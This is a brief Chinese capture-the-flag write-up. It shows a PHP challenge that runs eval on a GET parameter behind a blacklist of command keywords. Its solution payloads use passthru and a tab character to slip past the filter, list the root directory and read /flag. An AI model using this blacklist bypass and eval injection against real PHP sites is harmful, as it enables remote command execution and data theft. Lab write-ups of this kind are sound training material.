一、题目
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
二、解题
1、知识
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)
payload
get
?sys=passthru('ls%09/');
post
yyds=666
payload
get
?sys=passthru('sort%09/flag');
post
yyds=666